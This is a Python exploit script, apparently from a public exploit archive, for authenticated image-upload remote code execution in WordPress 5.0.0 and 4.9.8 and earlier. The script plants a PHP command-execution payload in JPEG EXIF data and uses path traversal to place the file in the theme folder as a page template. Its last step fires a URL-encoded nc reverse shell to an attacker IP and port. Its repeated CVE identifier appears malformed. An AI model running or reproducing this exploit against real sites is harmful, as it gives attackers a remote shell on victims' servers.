WordPress 5.0.0 Exploit, Image Remote Code Execution

# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
# Date: 2020-02-01
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)
# Discovery Author : RIPSTECH Technology
# Version: WordPress 5.0.0 and <= 4.9.8 .
# References : CVE-2019-89242 | CVE-2019-89242  | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/

#/usr/bin/env python3

import requests
import re
import sys
from datetime import datetime

banner = """

__        __            _                           ____   ____ _____ 
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  |  _ \ / ___| ____|
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | |   |  _|  
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ |  _ <| |___| |___ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ |_| \_\\____|_____|
                         |_|                                        
                         			5.0.0 and <= 4.9.8
"""
print(banner)
print("usage :")
print("=======")
usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
print(usage)

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
wp_theme = sys.argv[4] # wpscan results

lhost = '10.10.10.10' #attacker ip
lport = '4141' #listening port

date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'

imagename = 'gd.jpg'
# ======
# Note :
# ======
# It could be any jpg image, BUT there are some modifications first : 
# 1- image name as : "gd.jpg"
# 2- place the image in the same directory as this exploit.
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"

data = {
	'log':username,
	'pwd':password,
	'wp-submit':'Log In',
	'redirect_to':url+'wp-admin/',
	'testcookie':1
}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:
	print("[+] Login successful.\n")
else:
	print("[-] Failed to login.")
	exit(0)

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
	print("[-] Failed to retrieve the _wpnonce \n")
	exit(0)
else :
	wp_nonce = wp_nonce_list[0]
	print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")

print("[+] Uploading the image ... ")

data = {
	'name': 'gd.jpg',
	'action': 'upload-attachment',
	'_wpnonce': wp_nonce
}

image = {'async-upload': (imagename, open(imagename, 'rb'))}
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
if r_upload.status_code == 200:
	image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
	_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
	print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")
else : 
	print("[-] Failed to receive a response for uploaded image ! try again . \n")
	exit(0)

print("[+] Changing the path ... ")


data = {
	'_wpnonce':_wp_nonce,
	'action':'editpost',
	'post_ID':image_id,
	'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
}

res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] Path has been changed successfully. \n")
else :
	print("[-] Failed to change the path ! Make sure the theme is correcte .\n")
	exit(0)

print("[+] Getting Ajax nonce ... ")

data = {
	'action':'query-attachments',
	'post_id':0,
	'query[item]':43,
	'query[orderby]':'date',
	'query[order]':'DESC',
	'query[posts_per_page]':40,
	'query[paged]':1
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)

if res.status_code == 200 and len(ajax_nonce_list) != 0 :
	ajax_nonce = ajax_nonce_list[0]
	print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
else :
	print("[-] Failed to retrieve ajax_nonce.\n")
	exit(0)


print("[+] Cropping the uploaded image ... ")

data = {
	'action':'crop-image',
	'_ajax_nonce':ajax_nonce,
	'id':image_id,
	'cropDetails[x1]':0,
	'cropDetails[y1]':0,
	'cropDetails[width]':200,
	'cropDetails[height]':100,
	'cropDetails[dst_width]':200,
	'cropDetails[dst_height]':100
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] Done . \n")
else :
	print("[-] Erorr ! Try again \n")
	exit(0)

print("[+] Creating a new post to include the image... ")

res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
if res.status_code == 200:
	_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]
	post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]
	print("[+] Post created successfully . \n")
else :
	print("[-] Erorr ! Try again \n")
	exit(0)

data={
	'_wpnonce':_wpnonce,
	'action':'editpost',
	'post_ID':post_id,
	'post_title':'RCE poc by v0lck3r',
	'post_name':'RCE poc by v0lck3r',
	'meta_input[_wp_page_template]':'cropped-rahali.jpg'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')
	print("[+] Executing payload !")
	requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)

else :
	print("[-] Erorr ! Try again (maybe change the payload) \n")
	exit(0)

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